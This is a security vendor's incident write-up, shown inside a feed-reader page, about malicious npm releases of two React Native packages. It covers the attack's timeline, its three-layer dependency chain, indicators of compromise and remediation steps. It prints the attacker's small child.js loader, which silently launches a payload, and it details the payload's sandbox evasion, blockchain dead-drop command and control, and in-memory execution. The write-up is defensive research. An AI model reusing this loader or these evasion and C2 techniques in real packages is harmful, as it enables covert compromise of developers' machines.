惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
Tailwind CSS Blog
博客园 - Franky
博客园 - 司徒正美
Stack Overflow Blog
Stack Overflow Blog
GbyAI
GbyAI
Y
Y Combinator Blog
Microsoft Azure Blog
Microsoft Azure Blog
Blog — PlanetScale
Blog — PlanetScale
博客园 - 叶小钗
罗磊的独立博客
The GitHub Blog
The GitHub Blog
H
Help Net Security
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Engineering at Meta
Engineering at Meta
Martin Fowler
Martin Fowler
Spread Privacy
Spread Privacy
Google DeepMind News
Google DeepMind News
AWS News Blog
AWS News Blog
N
Netflix TechBlog - Medium
T
The Exploit Database - CXSecurity.com
云风的 BLOG
云风的 BLOG
小众软件
小众软件
aimingoo的专栏
aimingoo的专栏
Cyberwarzone
Cyberwarzone
T
Threatpost
T
Threat Research - Cisco Blogs
Recent Announcements
Recent Announcements
T
Tor Project blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Last Week in AI
Last Week in AI
L
Lohrmann on Cybersecurity
量子位
V
V2EX
V
Vulnerabilities – Threatpost
L
LINUX DO - 热门话题
www.infosecurity-magazine.com
www.infosecurity-magazine.com
P
Proofpoint News Feed
I
Intezer
Schneier on Security
Schneier on Security
雷峰网
雷峰网
B
Blog RSS Feed
Jina AI
Jina AI
爱范儿
爱范儿
Attack and Defense Labs
Attack and Defense Labs
Google DeepMind News
Google DeepMind News
M
MIT News - Artificial intelligence
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
P
Palo Alto Networks Blog
美团技术团队
博客园 - 【当耐特】

Step Security Blog

Announcing Dependabot Configuration Enhancements: Cooldown and Group Support - StepSecurity Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity Celebrating 1000 Repositories Secured with Harden Runner: A Journey of Growth and Collaboration - StepSecurity StepSecurity Detects Early Supply Chain Risk Signals in kilocode npm - StepSecurity Another npm Supply Chain Attack: The 'is' Package Compromise - StepSecurity anthropics/claude-code-action Security: How to Secure Claude Code in GitHub Actions with Harden-Runner - StepSecurity Harden-Runner detection: tj-actions/changed-files action is compromised - StepSecurity StepSecurity's Catalog of Fixes - StepSecurity Orchestrating Security: StepSecurity's Impact on 400+ Repositories and Future Plans - StepSecurity Announcing Anomalous Outbound Call Detection Using Machine Learning - StepSecurity Announcing GitHub Actions Advisor and StepSecurity Maintained Actions - StepSecurity Analysis of Backdoored XZ Utils Build Process with Harden-Runner - StepSecurity Announcing General Availability of Harden Runner - StepSecurity Milestone Achieved: 2500+ Public Repositories Secured with Harden-Runner - StepSecurity Build secretless CI/CD pipelines using wait-for-secrets - StepSecurity Introducing Apps & PATs: Centralized Visibility for GitHub Apps and Personal Access Tokens - StepSecurity CVE-2026-22709: Critical Sandbox Escape Vulnerability in vm2 - StepSecurity StepSecurity Now Supports Dark Mode - StepSecurity 2025 in Review: The Evolution of Supply Chain Security & What's Next - StepSecurity Bake Harden-Runner Into GitHub's Custom Runner Images for Organization-Wide CI/CD Security - StepSecurity StepSecurity Is Now Available on Azure Marketplace - StepSecurity Critical Remote Code Execution Vulnerabilities Discovered in React Server Components and Next.js - StepSecurity How Harden Runner Detected the Sha1-Hulud Supply Chain Attack in CNCF's Backstage Repository - StepSecurity Sha1-Hulud: The Second Coming - Zapier, ENS Domains, and Other Prominent NPM Packages Compromised - StepSecurity Supply Chain Security Alert: eslint-config-prettier Package Shows Signs of Compromise - StepSecurity 9,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Shai-Hulud: Self-Replicating Worm Compromises 500+ NPM Packages - StepSecurity Introducing npm Package Search: Find Where Any Package Was Introduced Across Your GitHub Organizations - StepSecurity StepSecurity Is Sponsoring GitHub Universe 2025 - StepSecurity s1ngularity: Popular Nx Build System Package Compromised with Data-Stealing Malware - StepSecurity Introducing StepSecurity Threat Intelligence: Real-Time Supply Chain Attack Alerts for Your SIEM - StepSecurity 8,000 Strong: Harden-Runner's Growing Impact on CI/CD Security - StepSecurity Securing Google Gemini in GitHub Actions with Harden-Runner - StepSecurity GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows - StepSecurity Introducing the NPM Package Cooldown Check - StepSecurity Securing GitHub Copilot in GitHub Actions with Harden-Runner - StepSecurity Calculate Your CI/CD Security ROI with StepSecurity's New ROI Calculator - StepSecurity How StepSecurity Harden Runner Detected Unexpected Microsoft Defender Installation on GitHub-hosted Ubuntu Runners - StepSecurity StepSecurity Harden Runner: Detect source code tampering during the build process - StepSecurity Suspicious Tag Movement in AWS’s GitHub Action: What Happened and Why It Matters - StepSecurity When 'Changed Files' Changed Everything: Our Black Hat 2025 Presentation on the tj-actions Supply Chain Breach - StepSecurity Lessons from AWS CodeBuild’s Memory-Dump Incident (CVE-2025-8217) - StepSecurity Supply Chain Security Alert: num2words PyPI Package Shows Signs of Compromise - StepSecurity When AI Meets CI/CD: Coding Agents in GitHub Actions Pose Hidden Security Risks - StepSecurity The GitHub Warning Everyone Ignores: 'This Commit Does Not Belong to Any Branch' - StepSecurity 8 GitHub Actions Secrets Management Best Practices to Follow - StepSecurity reviewdog GitHub Actions are compromised - StepSecurity 7,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Replace Third-Party Actions with StepSecurity Maintained Actions via Automated Pull Requests - StepSecurity StepSecurity Is Now Available on AWS Marketplace - StepSecurity Introducing StepSecurity Artifact Monitor: Detect Unauthorized Software Releases in minutes, not months - StepSecurity Introducing Workflow Run Policies: Guardrails for Blocking Non-Compliant GitHub Actions Runs - StepSecurity Harden-Runner Detects New Traffic to release-assets.githubusercontent.com Across Multiple Customers - StepSecurity Grafana GitHub Actions Security Incident - StepSecurity Export Harden-Runner Security Insights and Detections to Amazon S3 - StepSecurity Evolving Harden-Runner’s disable-sudo Policy for Improved Runner Security - StepSecurity Announcing Policy-Driven Automated Pull Requests for CI/CD Misconfiguration Remediation - StepSecurity Announcing StepSecurity’s Integration with RunsOn: Secure and Optimized CI/CD Pipelines - StepSecurity Secure Repo Just Got Better: New Features for GitHub Actions Security Best Practices - StepSecurity Why Compliance Auditors Are Looking at Your CI/CD Runners - And How to Prepare - StepSecurity Harden-Runner Flags Anomalous Outbound Call, Leading to Docker Documentation Update - StepSecurity StepSecurity Harden-Runner Now Secures GitHub Actions Workflows for Over 5,000 Open Source Projects - StepSecurity GitHub Actions Pwn Request Vulnerability - StepSecurity Prevent Ultralytics Style CI/CD Security Attacks with Network Security Controls - StepSecurity PyTorch Supply Chain Compromise - StepSecurity Unified Network Egress View: Centralize GitHub Actions Network Destinations for Your Enterprise - StepSecurity Uniting Developers and Security: Celebrating the Success of 500+ Open Source Projects Using StepSecurity's Orchestration Platform - StepSecurity 5 Effective Third-Party GitHub Actions Governance Best Practices - StepSecurity StepSecurity Recognized Among CRN’s "10 Hottest DevOps Startups Of 2024" - StepSecurity Streamline Your GitHub Actions Workflows with StepSecurity’s Latest Feature - StepSecurity StepSecurity Steps Up the Security Game with SOC 2 Type 2 Compliance - StepSecurity StepSecurity's Alignment with CISA's CI/CD Security Guidance - StepSecurity
Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity
2026-03-26 · via Step Security Blog

Update (March 18, 2026): ⚠ Ongoing Attack — Despite the maintainer's rapid response on March 16, the attacker did not stop. Over March 17–18, three additional malicious versions of react-native-international-phone-number were published (0.12.1, 0.12.2, 0.12.3) along with a new three-layer dependency chain delivering the same blockchain C2 malware. The maintainer has confirmed full account takeover. Do not use react-native-international-phone-number@latest or react-native-country-select@latest — both resolve to compromised versions.

On March 16, 2026, StepSecurity Threat Intel was the first to detect and report malicious releases in two popular React Native npm packages — react-native-international-phone-number and react-native-country-select. StepSecurity's AI Package Analyst flagged the compromised versions, and within minutes, StepSecurity filed security issues directly in both GitHub repositories — alerting the maintainer and the community before any other security vendor.

The maintainer responded within hours, deprecating the compromised versions. However, the attacker returned the very next morning with a more evasive technique — a dependency-chain attack using pre-staged scoped packages — confirming the underlying npm account or token had not yet been fully secured.

Key outcome: StepSecurity's AI-powered detection caught the supply chain attack within minutes of publication across all three waves. Despite the maintainer's cooperation, the attacker continued to publish new malicious versions — evolving from a direct preinstall hook to a multi-layer dependency chain. StepSecurity has reported all involved packages to npm for removal.

Stop the next npm supply chain attack before it impacts you

Cooldown checks block newly published packages in PRs. npm Package Search finds compromised dependencies across your entire org. AI-powered Threat Intel detects malicious releases within minutes.

Start Free →

The Compromised Packages(Account Takeover)

Both packages are widely used in React Native mobile applications for phone number input and country selection functionality:

  • react-native-international-phone-number — compromised versions: 0.11.8, 0.12.1, 0.12.2, 0.12.3; last known safe version: 0.11.7
  • react-native-country-select— compromised versions: 0.3.91, 0.4.1, 0.4.2; last known safe version: 0.4.0. Also a dependency of react-native-international-phone-number, meaning users of either package were at risk. @latest currently resolves to the compromised 0.4.2 — do not use @latest.

Both packages are maintained by @AstrOOnauta (astroonauta on npm), who maintains four packages total on the registry — these two being by far the most popular. react-native-country-select is also a dependency of react-native-international-phone-number, meaning users of either package were at risk.

AI Package Analyst Reports

StepSecurity's AI Package Analyst generated detailed analysis reports for all compromised packages, linked directly in the GitHub issue

StepSecurity AI analysis for react-native-international-phone-number@v0.11.8

StepSecurity AI analysis for react-native-country-select@0.3.91

Wave 1 Detection — March 16, 2026

Both Wave 1 packages were flagged within 5 minutes of publication. StepSecurity filed issues #165 and #11 within the hour, and the maintainer deprecated the malicious versions within 2 hours 21 minutes of publish. See the Full Attack Timeline for the complete multi-wave sequence.

The Attack Continues — Wave 2: Infrastructure Staging (March 17, 2026)

Despite the maintainer's deprecation of 0.11.8 and 0.3.91 on March 16, the attacker had not lost access to the npm account. Beginning on the morning of March 17, a new campaign began taking shape — this time with a deliberate, multi-step setup before the malware was even activated.

The attacker pre-positioned two purpose-built npm packages as delivery infrastructure:

  • @usebioerhold8733/s-format@2.0.1 published at 8:23 AM UTC — a hollow clone of the legitimate string-format library. It contained a postinstall: "node init.js" hook, but init.js was intentionally absent from the tarball. The hook would fail silently. This was a dry run: the attacker was staging the package on npm and testing the dependency chain before activating the payload.
  •  
  • @agnoliaarisian7180/string-argv@0.3.0 published at ~8:44 AM UTC — a hollow clone of the legitimate string-argv utility containing no executable JavaScript whatsoever (only LICENSE, CHANGELOG.md, README.md, and package.json). Its sole function is to carry a dependency on @usebioerhold8733/s-format. The maintainer email is AgnoliaArisian7180@proton.me — a Proton Mail address consistent with the operational security pattern across all packages in this campaign.

That evening at 9:36 PM UTC, react-native-international-phone-number@0.12.1 was published with @agnoliaarisian7180/string-argv@0.3.0 added as a new dependency. No corresponding GitHub Actions workflow run exists. The payload was not yet active — but the attack infrastructure was fully in place, waiting to be turned on.

When StepSecurity filed GitHub issue #167 reporting the anomaly, the maintainer confirmed the worst:

 "I dont know what is happening, but my npm account was attacked and the library was taken over..sorry for it"
@AstrOOnauta, package maintainer

GitHub issue #167: v0.12.1 was published without a corresponding GitHub Actions workflow run. The maintainer confirmed their npm account was taken over.

Wave 3: Payload Activation and Evolving Delivery (March 18, 2026)

The following morning, the attacker activated the payload and rapidly iterated the delivery mechanism across a sequence of coordinated releases spanning less than an hour.

A New Strategy: Three-Layer Dependency Chain

Rather than embedding malware directly in the main package as done in Wave 1, the attacker buried the payload two hops away in the dependency tree:

react-native-international-phone-number  (compromised via account takeover)
  └── @agnoliaarisian7180/string-argv      (hollow relay package)
        └── @usebioerhold8733/s-format     (payload host with postinstall hook)
              └── postinstall: node child.js → exec(node init.js)
                    └── init.js: Solana blockchain C2 malware (identical to Wave 1)


This indirection makes automated detection harder: the main package appears clean at first glance, and the malicious behavior is buried in a transitive dependency with a plausible-sounding name. The attacker is using these packages as a rotating playground to deploy, test, and evolve the malware while keeping the main package at arm's length.

@usebioerhold8733/s-format — Rapid Iteration of the Payload

Four versions of @usebioerhold8733/s-format were published across March 17–18, each incrementally evolving the delivery mechanism:

  • v2.0.1 (March 17, 8:23 AM UTC) — Staging. postinstall: "node init.js" present, but init.js absent. Hook fails silently.  
  • v2.0.2 (March 18, 8:24 AM UTC) — Payload activated. init.js (18.9 KB, heavily obfuscated) added to the tarball. This file is byte-for-byte identical to the install.js embedded in react-native-international-phone-number@0.11.8 — the same Solana blockchain C2 malware reused without modification. Any user who had already installed 0.12.1 would receive the active payload on their next npm install.    
    StepSecurity AI Package Analyst report: @usebioerhold8733/s-format@2.0.2  
  •  
  • v2.0.3 (March 18, 8:59 AM UTC) — The postinstall script is changed from "node init.js" to "node ./child.js" — but child.js is not yet included. The hook fails silently again. This appears to be an incremental staging step: the attacker was testing the updated hook before child.js was ready.    
    StepSecurity AI Package Analyst report: @usebioerhold8733/s-format@2.0.3  
  •  
  • v2.0.4 (March 18, 9:03 AM UTC) — child.js (364 bytes) is added. The delivery mechanism is now fully operational.    
    StepSecurity AI Package Analyst report: @usebioerhold8733/s-format@2.0.4  

The child.js Loader

child.js is a small (364-byte) launcher that executes init.js as a detached child process using child_process.exec, with all errors and stderr silently swallowed:

const fs = require('fs');
const child_process = require('child_process');
const path = require('path');

const initScript = path.join(__dirname, 'init.js');

if (fs.existsSync(initScript)) {
    child_process.exec(`node "${initScript}"`, (err, stdout, stderr) => {
        if (err) { return; }
        if (stderr) {}
    });
} else {}


By launching init.js as a fire-and-forget child process with all error channels suppressed, the malware avoids surfacing any visible failure or output during npm install. The postinstall hook completes cleanly from npm's perspective while the payload executes silently in the background.

Coordinated Package Updates in Wave 3

Alongside the @usebioerhold8733/s-format iterations, the attacker updated both relay packages in lockstep:

  • @agnoliaarisian7180/string-argv@0.3.1 (March 18, 8:40 AM UTC) — changed the pinned @usebioerhold8733/s-format dependency from "2.0.1" to "latest", ensuring any future malicious update to the payload package propagates automatically to all downstream installs.
  •  
  • react-native-international-phone-number@0.12.2 (March 18, 8:44 AM UTC) — upgraded @agnoliaarisian7180/string-argv from pinned "0.3.0" to "latest", completing the chain. Any install of 0.12.2 would now resolve the full attack chain to its latest malicious version.
  •  
  • react-native-international-phone-number@0.12.3 (March 18, 9:14 AM UTC) — removed the now-vestigial preinstall: "node install.js" hook from package.json (cleanup), retained the malicious dependency, and changed the maintainer email to voughoeveryc05de@proton.me — a Proton Mail address not associated with the original author, suggesting the attacker was consolidating control of the account.

StepSecurity AI Package Analyst reports for the Wave 3 packages:

Full Attack Timeline

Wave 1 — March 16, 2026: Direct Preinstall Hook

  • March 16, 2026 — ~10:54 AM UTC  react-native-country-select@0.3.91 published; StepSecurity AI Package Analyst flags both packages as critical severity within 5 minutes
  • March 16, 2026 — 11:49 AM UTC  StepSecurity files security issue #165 on react-native-international-phone-number
  • March 16, 2026 — 11:55 AM UTC  StepSecurity files security issue #11 on react-native-country-select
  • March 16, 2026 — 12:53 PM UTC  Maintainer publishes clean replacement react-native-country-select@0.4.0
  • March 16, 2026 — 1:15 PM UTC  Maintainer responds: "Thanks for it, I deprecated the version!!!" and closes both issues. Total time from publish to deprecation: ~2 hours 21 minutes.

Wave 2 — March 17, 2026: Infrastructure Staging

  •  March 17, 2026 — 8:23 AM UTC  @usebioerhold8733/s-format@2.0.1 published — postinstall hook present, init.js absent; no active payload (dry run)
  •  March 17, 2026 — ~8:44 AM UTC  @agnoliaarisian7180/string-argv@0.3.0 published — hollow relay package depending on s-format@2.0.1
  •  March 17, 2026 — 9:36 PM UTC  react-native-international-phone-number@0.12.1 published with @agnoliaarisian7180/string-argv@0.3.0 as new dependency. No GitHub Actions run. Attack infrastructure in place; payload not yet active.
  • March 17, 2026 — 9:39 PM UTC react-native-country-select@0.4.1 published — same attacker injects @agnoliaarisian7180/string-argv@0.3.0 into the previously clean 0.4.0 replacement. The dependency chain now spans both packages.

Wave 3 — March 18, 2026: Payload Activation and Escalation

  • March 18, 2026 — 8:24 AM UTC  Payload activated: @usebioerhold8733/s-format@2.0.2 published with init.js (18.9 KB obfuscated Solana C2 malware — byte-for-byte identical to Wave 1's install.js). Anyone who had installed 0.12.1 would receive the active payload on next npm install.
  • March 18, 2026 — 8:44 AM UTC  react-native-international-phone-number@0.12.2 published — upgrades @agnoliaarisian7180/string-argv to "latest"; full chain now locked to latest malicious versions
  • March 18, 2026 — 8:43 AM UTC react-native-country-select@0.4.2 published — upgrades @agnoliaarisian7180/string-argv from pinned 0.3.0 to "latest". @latest for react-native-country-select now resolves to a compromised version.
  • March 18, 2026 — 8:59 AM UTC  @usebioerhold8733/s-format@2.0.3 published — postinstall switched to "node ./child.js", but child.js absent (staging next delivery phase)
  • March 18, 2026 — 9:03 AM UTC  @usebioerhold8733/s-format@2.0.4 published — child.js loader added; detached child process execution fully operational
  • March 18, 2026 — 9:14 AM UTC  react-native-international-phone-number@0.12.3 published — preinstall hook removed (cleanup), malicious dependency retained, maintainer email changed to voughoeveryc05de@proton.me
  • March 18, 2026  StepSecurity reports @agnoliaarisian7180/string-argv and @usebioerhold8733/s-format to npm for removal. Despite three waves of reporting and the maintainer's cooperation, the attacker has continued to publish new malicious versions. These packages remain active on npm as of this writing.

How the Attack Worked

Across all three waves, the attacker used a single consistent strategy: gain npm publish access, inject a malware launcher into the package, and have that launcher execute a remotely-controlled payload on every developer machine that runs npm install. What changed between waves was the delivery mechanism — each iteration was more evasive than the last. The core malware payload remained identical throughout.

Entry Point: npm Account Takeover

Every malicious version was published without a corresponding GitHub release, tag, or Actions workflow run — bypassing the maintainer's established release process entirely. The gitHead in react-native-international-phone-number@0.11.8 is identical to v0.11.7, confirming the package was not built from any new source commit. By Wave 3, the attacker had changed the npm maintainer email to a Proton Mail address (voughoeveryc05de@proton.me) not belonging to the original author, indicating ongoing consolidation of account control. The maintainer later confirmed: "my npm account was attacked and the library was taken over."

Delivery: How the Malware Reached Victims Across Waves

The attacker iterated through progressively more evasive delivery approaches:

Wave 1 — Direct preinstall hook (March 16): The simplest approach. A preinstall: "node install.js" script was added directly to package.json, alongside an obfuscated install.js embedded in the tarball. This executes automatically on every npm install before any package code runs — the victim never needs to import or call anything. The install.js is heavily obfuscated using RC4-based string encryption and array rotation (a pattern common to the javascript-obfuscator toolchain).

Wave 2 & 3 — Three-layer dependency chain (March 17–18): After Wave 1 was detected and reported, the attacker pivoted to a dependency-chain approach, removing the visible install.js from the main package and burying the payload two hops away in pre-staged scoped packages:

react-native-international-phone-number
  └── @agnoliaarisian7180/string-argv   (hollow relay; no JS code of its own)
        └── @usebioerhold8733/s-format  (payload host)
              └── postinstall: node child.js
                    └── child_process.exec("node init.js")  ← fire-and-forget, errors suppressed
                          └── init.js  ← same obfuscated malware as Wave 1's install.js


The child.js wrapper was added in v2.0.4 of @usebioerhold8733/s-format as an additional evasion layer: by launching init.js as a detached child process with all errors and stderr silently swallowed, the postinstall hook completes cleanly from npm's perspective while the payload runs invisibly in the background. The init.js payload in this chain is byte-for-byte identical to the install.js used in Wave 1 — the attacker changed the delivery vehicle, not the weapon.

Stage 1 — Startup Delay and Obfuscation

The malware begins with a 10-second setTimeout delay before any malicious activity. This is a deliberate sandbox evasion technique: automated analysis tools that execute scripts with short timeouts will observe no suspicious behavior and may classify the package as benign. The entire payload is heavily obfuscated using RC4-based string encryption and array rotation — a pattern associated with the javascript-obfuscator toolchain — making static analysis significantly harder.

Stage 2 — Geo-Filter: Skipping Russian Victims

After the delay, the malware checks whether the victim machine is located in Russia or CIS by inspecting multiple independent signals

  • The LANG, LANGUAGE, and LC_ALL environment variables for ru_RU / Russian
  • The OS username and system timezone against a hardcoded list of 12 Russian/CIS timezones: Europe/Moscow, Asia/Krasnoyarsk, Asia/Vladivostok, Asia/Novosibirsk, Asia/Yekaterinburg, MSK, and others
  • The UTC offset (exits silently if between +2 and +12)

If any signal matches, the script exits immediately without executing. This is a classic nation-state avoidance pattern used by Russian-origin malware to protect compatriots and reduce exposure to domestic law enforcement. Its presence across all three waves is one of the strongest indicators linking them to a single actor.

Stage 3 — Solana Blockchain as Censorship-Resistant C2

Rather than hardcoding a payload URL — which would be trivially blocked by network filters — the attacker uses the Solana blockchain as a dead-drop command-and-control resolver. The malware polls a hardcoded Solana wallet address:

6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ

It calls the getSignaturesForAddress JSON-RPC method against nine public Solana RPC endpoints used as fallbacks (including api.mainnet-beta.solana.com, rpc.ankr.com/solana, solana-rpc.publicnode.com, and others). The attacker posts a transaction to the wallet with a Solana Memo Program message containing a base64-encoded payload URL embedded in a JSON link field. This gives the attacker the ability to silently rotate their payload server at any time — by posting a new transaction — without modifying a single byte of the malware. The payload URL is not burned into the binary and cannot be statically extracted.

Stage 4 — Encrypted Payload Fetch

With the URL decoded from the Solana memo, the malware issues an HTTP GET to the attacker's server at http://45.32.150.251/ (Vultr, AS20473). The current OS (Linux, Darwin, or Windows_NT) is sent as an os HTTP header, enabling the server to return platform-specific second-stage payloads. The response body contains the payload base64-encoded and AES-256 encrypted. Critically, the decryption key and IV are delivered not in the body but in HTTP response headers (secretkey and ivbase64) — meaning the encrypted payload on disk or in transit is useless without a simultaneous live connection to the C2 server.

Stage 5 — In-Memory Execution and Persistence

The decrypted payload is executed entirely in memory, never written to disk: via eval(atob(payload)) on macOS/Linux, or via a Node.js vm.Script sandbox with full access to require, Buffer, and process on Windows. Both paths leave no payload artifact on the filesystem. After execution, a persistence lock is written to ~/init.json containing the current timestamp. The malware will not re-execute within a 48-hour window on the same machine — a rate-limit that reduces noise and helps the malware avoid detection by behavioral monitoring tools that watch for repeated suspicious activity.

Connection to ForceMemo and the GlassWorm Threat Actor

The technical fingerprint of this campaign is a near-exact match to the ForceMemo campaign we documented on March 14, 2026, which compromised hundreds of GitHub Python repositories. Key shared indicators:

  • Solana blockchain dead-drop C2 — both campaigns use the same technique with different wallet addresses
  • 9 identical Solana RPC fallback endpoints
  • JSON memo with link field for payload URL delivery
  • Russia geo-filter — identical timezone and locale checks
  • ~/init.json 48-hour persistence lock
  • Payload server on Vultr IP space45.32.150.251 falls in the same 45.32.150.x block as ForceMemo servers (45.32.150.97)
  • AES-encrypted stage-2 payload with keys delivered via HTTP headers
  • Node 22 build environment fingerprint
  • In-memory execution via eval() / vm.Script

While the Solana wallet addresses differ (suggesting separate wallets per campaign), the operational infrastructure, obfuscation technique, and execution methodology are consistent with a single threat actor, likely the GlassWorm group.

ForceMemo targeted developer machines via compromised GitHub Python repos. This campaign targets them via the npm supply chain — specifically the React Native mobile developer ecosystem. The same actor is diversifying delivery vectors while reusing the same core malware framework.

StepSecurity Response Across All Waves

StepSecurity's team responded to each wave as it emerged:

  • Wave 1 (March 16): AI Package Analyst flagged both packages within 5 minutes of publication. StepSecurity filed issue #165 and issue #11 with full evidence, AI Package Analyst report links, and step-by-step remediation guidance. The maintainer deprecated both versions within 2 hours 21 minutes.

StepSecurity immediately filed issue #165 on react-native-international-phone-number, linking the AI Package Analyst report
     
  • Wave 2 (March 17): AI Package Analyst flagged react-native-international-phone-number@0.12.1. StepSecurity filed issue #167 with a full analysis of the new dependency chain. The maintainer confirmed their account had been taken over.
  • Wave 3 (March 18): StepSecurity tracked the rapid iteration of @usebioerhold8733/s-format through versions 2.0.1–2.0.4 and reported both @agnoliaarisian7180/string-argv and @usebioerhold8733/s-format to npm for removal.

Each issue included clear evidence of the compromise (npm diffs, AI Package Analyst report links, cross-references between related packages), and step-by-step remediation guidance for the maintainer.

Indicators of Compromise

Wave 1 (March 16, 2026)

  • Malicious packages: react-native-international-phone-number@0.11.8, react-native-country-select@0.3.91
  • Solana C2 wallet: 6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ
  • Payload server:http://45.32.150.251 (Vultr, AS20473)
  • HTTP response headers for AES key delivery:secretkey (AES-256 decryption key), ivbase64 (AES IV, base64-encoded)
  • Filesystem artifact:~/init.json — persistence/rate-limit lock (written on first execution)

Wave 2 & 3 (March 17–18, 2026)

  • Malicious packages
    • react-native-international-phone-number@0.12.1, 0.12.2, 0.12.3
    • react-native-country-select@0.4.1, 0.4.2
    • @agnoliaarisian7180/string-argv@0.3.0, 0.3.1
    • @usebioerhold8733/s-format@2.0.1, 2.0.2, 2.0.3, 2.0.4
  • Payload server: http://45.32.150.251 (same Vultr IP as Wave 1)
  • Solana C2: Same technique as Wave 1 (wallet address may differ; uses same 9 Solana RPC fallback endpoints)
  • Suspicious maintainer emails:AgnoliaArisian7180@proton.me, UsebioErhold8733@proton.me, voughoeveryc05de@proton.me (all Proton Mail, all attacker-controlled)
  • npm anomaly fingerprint: postinstall script node init.js / node ./child.js, build environment Node 22.22.0 / npm 10.9.4, maintainer email changed to Proton Mail address not matching original author
  • Dependency chain indicator: presence of @agnoliaarisian7180/string-argv as a dependency of react-native-international-phone-number

What You Should Do

If you use these packages

  1. Pin to the last known safe versions
    1. react-native-international-phone-number
    2. react-native-country-select@0.4.0
  2. Check for ~/init.json — its presence confirms the malware ran on your machine
  3. Rotate any secrets (API keys, wallet private keys, tokens) that were present on the machine or in .env files at the time of installation
  4. Review outbound network logs for connections to 45.32.150.251 or any Solana RPC endpoint made from your development machine
  5. Audit your node_modules for the presence of @agnoliaarisian7180/string-argv or @usebioerhold8733/s-format — either indicates you installed a compromised version of the chain

To protect against future supply chain attacks

  • Use lockfiles and review dependency updates before merging
  • Enable npm 2FA for all accounts with publish access
  • Monitor your dependencies with tools like StepSecurity's OSS Security Feed
  • Use Harden-Runner in your CI/CD pipelines to detect anomalous network activity during builds

Acknowledgement

We want to sincerely acknowledge @AstrOOnauta (Willian Ralf), the maintainer of both originally affected packages. Upon being notified in Wave 1, he responded promptly and professionally — deprecating the malicious versions and publishing clean replacements within approximately 90 minutes. His quick action limited the potential blast radius of the initial attack significantly.

The Wave 2 and Wave 3 account takeover could be entirely outside his control. He has been cooperative throughout — confirming the compromise, working with us on remediation, and responding promptly each time we filed a report. This incident is a reminder that even the most responsive maintainers are vulnerable to npm account takeover, and that tooling — not just human response — is required to contain sophisticated, persistent attackers.

How StepSecurity Helps

StepSecurity provides end-to-end npm supply chain security across three pillars: Prevent, Detect, and Respond. Here's how each would have helped in this attack — and how they protect you against the next one. (Full documentation)

Prevent — Block Malicious Packages Before They Enter Your Codebase

  • npm Package Cooldown Check — Newly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within 24 hours, this creates a crucial safety buffer. In this case, react-native-country-select@0.3.91 and react-native-international-phone-number@0.11.8 would have been blocked from any PR during the cooldown period.
  • npm Package Compromised Updates Check — StepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously — often before official CVEs. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked.
  • Harden-Runner Egress Network Restrictions — Filters outbound network traffic during workflow execution, blocking all undeclared endpoints. Both DNS and network-level enforcement prevent covert data exfiltration — the Solana RPC polling and C2 payload fetch in this malware would have been blocked at the network level.

Detect — Continuous Visibility Across PRs, Repos, and Dev Machines

  • Threat Intelligence + AI Package Analyst — Continuously monitors the npm registry for suspicious releases. In this case, both packages were flagged within 5 minutes of publication, giving the team time to investigate, confirm malicious intent, and notify the maintainer before the packages could accumulate significant downloads.
